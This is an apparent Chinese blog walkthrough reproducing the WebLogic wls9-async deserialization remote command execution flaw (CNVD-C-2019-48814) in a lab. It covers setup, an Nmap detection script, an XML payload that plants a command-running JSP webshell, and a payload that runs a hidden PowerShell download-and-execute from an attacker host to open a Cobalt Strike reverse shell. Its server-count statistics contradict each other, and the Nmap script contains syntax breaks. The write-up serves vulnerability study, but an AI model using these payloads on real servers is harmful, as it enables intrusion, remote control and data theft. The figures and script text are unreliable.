WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)的复现过程

WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)

0x01 weblogic简介

WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java(J2EE)应用服
务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,当前已推
出到12c(12.1.1)版。而此产品也延伸出WebLogic Portal, WebLogic Integration等企业用的中间
件(但当前Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业
包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

WebLogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。是商业市场上主要的Java(J2EE)应用服务器软件(Application Server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。

根据FOFA的数据统计,全球共有23024个开放的weblogic服务。其中美国最多,有129583个开放服务。其次是中国,有28772个开放的weblogic服务。德国排第三,有22352个开放的weblogic服务。新加坡有18473个开放的weblogic服务。英国有15980个开放的weblogic服务。

国内的weblogic服务分布如下,北京最多,有6824个服务,浙江有4805个服务,山东有985个服务,广东有801个服务,上海有778个服务。

0x02漏洞简介

CNVD-C-2019-48814漏洞主要是利用了WebLogic中的wls9-async组件,攻击者可以在

/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列

化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

0x03 影响的系统

Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.1.0
Oracle WebLogic Server12.2.1.2.0

复现过程选用Oracle WebLogic Server12.1.3.0.0,12.2.1.3.0及以上版本对该漏洞进行了修复

0x04 复现过程

1. 复现环境及搭建过程

复现过程基于内网环境

靶机:windows server 2008 R2: 搭建weblogic服务器
攻击机:kali2.0:IP192.168.15.176
1)靶机安装jdk

jdk版本选择1.8版本:直接下载:jdk-8u171-windows-x64.exe,双击运行即可,安装时注意注意路径问题,安装完成后,配置环境变量,非常简单;

测试:打开cmd
	java  -version
	javac -version
	
出现版本及安装成功,否则很可能是环境变量出现了问题,重新检查

在这里插入图片描述

2) 靶机搭建weblogic

坑很多,该掉进入的一个都没少,一定要有耐心
1.下载安装包:fmw_12.1.3.0.0_wls.jar,并把安装包放在jdk的bin目录下:
在这里插入图片描述
2.进入fmw_12.1.3.0.0_wls.jar所在的目录,shift+鼠标右键,打开powershell:通过java运行安装:java -jar fmw_12.1.3.0.0_wls.jar

弹出安装过程直接下一步即可,除了路径外其他默认即可,当然路径也可以选择默认

在这里插入图片描述

3.运行完jar包后,会弹出weblogic的安装向导,这里只是为了复现漏洞,一路狂奔,全部默认即可;安装完成后找到安装路径:若是默认的则为C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
在这里插入图片描述
在这里插入图片描述
4. 服务器开始运行
在这里插入图片描述
5. 访问服务器:访问URL:http://192.168.15.89:7001/console,自动弹到登录页面,说明服务器搭建成功;
在这里插入图片描述
6. 查看服务器是否存在漏洞:直接访问:http://192.168.15.89:7001/_async/AsyncResponseService,若出现以下页面说明存在漏洞,否则很可能是版本更新,漏洞已修复,或者安装出现问题。
在这里插入图片描述
7. 也可以通过nmap扫描确定是否存在漏洞,若是kali系统需要添加脚本 :weblogic-CNVD-C-2019-48814.nse,将以下代码保存为weblogic-CNVD-C-2019-48814.nse,拷贝至卡里:/uer/share/nmap/script目录下

	local http = require "http"
	local nmap = require "nmap"
	local stdnse = require "stdnse"
	local vulns = require "vulns"
	description = [[
	Weblogic CNVD-C-2019-48814
	]]
	---
	-- @usage
	-- nmap -sV --script weblogic-CNVD-C-2019-48814 <target> -p 7001
	-- nmap -sV --script weblogic-CNVD-C-2019-48814
	--
	-- @output
	-- PORT     STATE SERVICE
	-- 7001/tcp open  afs3-callback
	-- | weblogic-CNVD-C-2019-48814:
	-- |   VULNERABLE:
	-- |   Oracle WebLogic wls9-async Deserialization Remote Command Execution Vulnerability
	-- |     State: VULNERABLE
	-- |     IDs:  1:CNVD-C-2019-48814  CVE:CVE-2019-???
	-- |     Risk factor: High  CVSSv3: ???
	-- |
	-- |     Disclosure date: 2019-04-17
	-- |     References:
	-- |       http://www.cnvd.org.cn/webinfo/show/4989
	-- |       http://www.cnvd.org.cn/webinfo/show/4999
	-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-????
	author = "Rvn0xsy <rvn0xsy@gmail.com>"
	l	icense = "Same as Nmap--See https://nmap.org/book/man-legal.html"
	categories = {"vuln"}
	blog = "https://payloads.online"
	portrule = function(host,port)
	--	if(port.number == 7001)then
	--		return true
	--	end
	--	return false
		return true
	end
	action = function(host,port)
	 local vuln_table = {
    title ="Oracle WebLogic wls9-async Deserialization Remote Command Execution Vulnerability",
    IDS = {CVE = 'CVE-2019-????','CNVD-C-2019-48814'},
    risk_factor = "High",
    scores = {
      CVSSv3 = "???",
    },
    description = [[]],
    references = {
        'http://www.cnvd.org.cn/webinfo/show/4989',
        'http://www.cnvd.org.cn/webinfo/show/4999',
    },
    dates = {
      disclosure = {year = '2019', month = '04', day = '17'},
    },
    check_results = {},
    extra_info = {}
  	}
    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
    vuln_table.state = vulns.STATE.NOT_VULN
    path = "/_async/AsyncResponseService"
    local result = http.get(host,port,path)
    local status = stdnse.output_table()
	if(result.status = =  200)then  //代码“= =”表示判断相等,注意修改
        if(string.find(result.body,"async")  == nil)then
            local status = stdnse.output_table()
            status.Vuln = "False"
            return status
        end
        options = {}
        options['header'] = {}
        options['header']['Content-Type'] = 'text/xml'
        local payload = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">\n<soapenv:Header>\n<wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\n<void class=\"POC\">\n<array class=\"xx\" length=\"0\">\n</array>\n<void method=\"start\"/>\n</void>\n</work:WorkContext>\n</soapenv:Header>\n<soapenv:Body>\n<asy:onAsyncDelivery/>\n</soapenv:Body>\n</soapenv:Envelope>\n"
        local response = http.post(host,port,path,options,nil,payload)
        if(response.status == 202)then
            vuln_table.state = vulns.STATE.VULN
            return vuln_report:make_output(vuln_table)
        end
	end
    return vuln_report:make_output(vuln_table)
	end
8. nmap扫描漏洞:nmap:nmap --script=weblogic-CNVD-C-2019-48814.nse 192.168.15.89

在这里插入图片描述

2. 漏洞利用

  1. 启动burpsuit设置代理拦截:http://192.168.15.89:7001/_async/AsyncResponseService

在这里插入图片描述
2. 右键发送至repeater
在默认的raw中追加以下脚本,并修改请求方法为:POST(右键:change request method)

	<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
	xmlns:wsa="http://www.w3.org/2005/08/addressing" 
	xmlns:asy="http://www.bea.com/async/AsyncResponseService">
	<soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	<java version="1.8.0_131" class="java.beans.xmlDecoder">
	<object class="java.io.PrintWriter">
	<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
	<void method="println"><string><![CDATA[
	<%
	if("123".equals(request.getParameter("pwd"))){
	java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
	int a = -1;          
	byte[] b = new byte[1024];          
	out.print("<pre>");          
	while((a=in.read(b))!=-1){
	out.println(new String(b));          
	}
	out.print("</pre>");
	} 
	%>]]>
	</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

在这里插入图片描述
在这里插入图片描述
3. 点击go开始请求,当出现右面的响应说明漏洞上传成功,我们的webshell.jsp已经上传完毕
在这里插入图片描述
4. 漏洞利用,通过webshell探索用户及系统信息等:

访问:http://192.168.15.89:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
获取用户,这里通过传输cmd命令,查询信息

在这里插入图片描述
已成功利用weblogic反序列化漏洞获取服务器的信息

0x05 cobaltstrike的利用

在window是系统下的利用,他更多地利用在linux系统中,两种版本均支持,只是开启的命令略有不同:
**1.**开启cobaltstrike服务器:(需要用管理员权限运行cmd)

命令:teamserver 192.168.15.252 123456  //服务器ip         密码

在这里插入图片描述
**2.**开启客户端,连接服务端,直接打开cobaltstrike.bat

输入服务器IP地址和密码123456,用户名随便给,端口为服务器使用的端口

在这里插入图片描述
在这里插入图片描述
3. 开启监听,设置监听的名字、加载payload、绑定监听的ip地址和端口号
在这里插入图片描述
**4.**生成钓鱼网站脚本
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
5. 构造脚本反弹shell:

将4.中的链接加载到脚本中,加载到十六行的< string>中

	<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
	<soapenv:Header> 
	<wsa:Action>xx</wsa:Action>
	<wsa:RelatesTo>xx</wsa:RelatesTo>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	<void class="java.lang.ProcessBuilder">
	<array class="java.lang.String" length="3">
	<void index="0">
	<string>cmd</string>
	</void>
	<void index="1">
	<string>/c</string>
	</void>
	<void index="2">
	<string>powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.15.252:80/a'))"</string>
	</void>
	</array>
	<void method="start"/></void>
	</work:WorkContext>
	</soapenv:Header>
	<soapenv:Body>
	<asy:onAsyncDelivery/>
	</soapenv:Body></soapenv:Envelope>

6. burpsuit抓包,上传5.中的脚本
在这里插入图片描述
7. 上传脚本,点击go后,cobaltstrike里面得到反弹的shell
在这里插入图片描述
**8.**获取shell后便可进行后续的提权等操作。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值